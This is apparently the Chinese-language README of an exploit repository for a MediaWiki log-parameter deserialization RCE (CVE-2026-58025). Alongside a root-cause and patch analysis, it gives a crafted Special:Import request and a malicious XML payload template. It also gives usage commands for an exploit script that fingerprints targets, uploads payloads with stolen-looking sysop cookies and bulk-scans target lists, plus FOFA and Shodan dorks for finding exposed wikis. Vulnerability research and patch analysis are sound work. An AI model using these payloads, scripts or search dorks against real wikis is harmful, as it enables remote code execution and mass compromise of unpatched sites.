
CVE-2026-58025 — MediaWiki 通过日志条目导入实现的反序列化远程代码执行(RCE)。LogEntryBase::extractParams() 对用户可控的 log_params 执行 unserialize()。CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9、< 1.44.6、< 1.45.4、< 1.46.0
CVE-2026-58025 是 MediaWiki(维基媒体基金会)中的一个严重(CVSS 9.8)不受信任数据反序列化漏洞。LogEntryBase::extractParams() 方法在用户可控的日志条目参数上调用 unserialize(),且未限制可实例化的 PHP 类。拥有 importupload 或 import 权限(默认:sysop 用户组)的攻击者可以构造一个恶意 XML 导入文件,在 <params> 字段中放置序列化的 PHP 对象,从而触发任意对象实例化,并可能通过 gadget 链实现远程代码执行。
| 版本分支 | 受影响版本 |
|---|
要求: 需要
import或importupload权限(默认:sysop用户组)。攻击者必须能够向 MediaWiki 的 Special:Import 上传或导入 XML 文件。
includes/Logging/LogEntryBase.php 中的 LogEntryBase::extractParams() 直接在 log_params 数据块上调用 unserialize(),没有任何类限制:
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
return unserialize( $blob ); // ← user-controlled, no allowed_classes restriction
}
该方法在多个位置被调用:
主要攻击向量是通过 Special:Import 进行 XML 导入:
import/importupload 权限)构造一个恶意的 MediaWiki XML 导出文件<logitem> 元素,其 <params> 字段含有 PHP 序列化载荷WikiImporter::processLogItem() → WikiRevision::importLogItem() 存储该日志条目DatabaseLogEntry::getParameters()、RecentChange::parseParams() 或日志展示),LogEntryBase::extractParams() 会对攻击者控制的数据块调用 unserialize()POST /wiki/Special:Import
Content-Type: multipart/form-data
action=submit
xmlimportfile=<malicious.xml>
source=file
catname=
prefix=
loginComment=
malicious.xml:
<mediawiki ...>
<logitem>
<type>test</type>
<action>test</action>
<params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
</logitem>
</mediawiki>
→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data
XML 导入中的 <params> 字段接受标准的 PHP 序列化字符串。一个安全(良性)的条目:
a:1:{s:3:"foo";s:3:"bar";}
一个包含序列化对象的恶意条目:
a:1:{s:3:"foo";O:8:"stdClass":0:{}}
当在未指定 allowed_classes 限制的情况下调用 unserialize() 时,对象会被完整实例化。如果存在可用的 gadget 链(例如来自通过 Composer 安装的库),这就会演变为 RCE。
提交: 60f154d4618063ac4d5832285fc246b8fcd7c72c
作者: Bartosz Dziewoński
日期: 2026-06-29
该修复采用了多层防御:
allowed_classes 限制 unserialize()// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
$attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
$allowedClasses = $attribute[$logType];
} else {
$allowedClasses = false; // no classes allowed
}
$result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
if ( $result !== false && !is_array( $result ) ) {
return false;
}
return $result;
}
containsUnsafeParams() 检查检测 __PHP_Incomplete_Class 实例(被 allowed_classes 阻止实例化的对象):
public static function containsUnsafeParams( array $params ): bool {
$result = false;
$params = [ $params ];
array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
if ( $val instanceof \__PHP_Incomplete_Class ) {
$result = true;
}
} );
return $result;
}
WikiImporter::processLogItem()新增 logentryimport 权限检查(默认不授予任何人):
private function processLogItem( $logInfo ) {
if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
$this->notice( 'permissionserrorstext-withaction-noreason', ... );
return false;
}
// ...
}
WikiRevision::importLogItem() — 拒绝不安全的参数if ( LogEntryBase::containsUnsafeParams(
LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
return false;
}
UnsafeLogFormatter — 安全显示已有的恶意条目新的 UnsafeLogFormatter 类取代了常规的格式化器,用于包含被阻止对象的条目,显示占位消息而不是尝试格式化危险数据。
同一项研究(T422244)还发现,LogFormatter 的 raw 参数类型允许从用户可控的日志参数输出原始 HTML。在一个配套提交中,通过将 Message::rawParam() 改为 Message::plaintextParam() 修复了该问题。
随附的 exploit.py 会生成一个恶意 MediaWiki XML 导入文件,在日志条目参数中包含序列化的 PHP 对象。它还可以对 MediaWiki 实例进行指纹识别,并尝试通过 API 执行导入。
# Generate malicious XML payload
python exploit.py --generate --output payload.xml
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests
# Generate malicious XML import file
python exploit.py --generate --output payload.xml
# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check
# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"
# Bulk check
python exploit.py -f targets.txt --check -o results.txt
FOFA: body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"
SECURITY: Safely unserialize log entry parametersLogFormatter: 'raw' parameter format is no longer raw HTML此漏洞利用工具仅用于教育和已授权的安全研究。未经所有者明确许可,请勿将其用于任何系统。
| 已修复版本 |
|---|
| 1.43.x | < 1.43.9 | 1.43.9 |
| 1.44.x | < 1.44.6 | 1.44.6 |
| 1.45.x | < 1.45.4 | 1.45.4 |
| 1.46.x | < 1.46.0 | 1.46.0 |
| 文件 | 行号 | 上下文 |
|---|
includes/Logging/DatabaseLogEntry.php | 187 | getParameters() — 从数据库读取日志条目 |
includes/RecentChanges/RecentChange.php | 781 | parseParams() — 解析最近更改 |
includes/Import/WikiRevision.php | 638 | importLogItem() — 从 XML 导入日志条目 |
maintenance/purgeChangedFiles.php | 182 | 维护脚本日志解析 |
tests/phpunit/maintenance/DumpAsserter.php | 541 | 测试辅助工具 |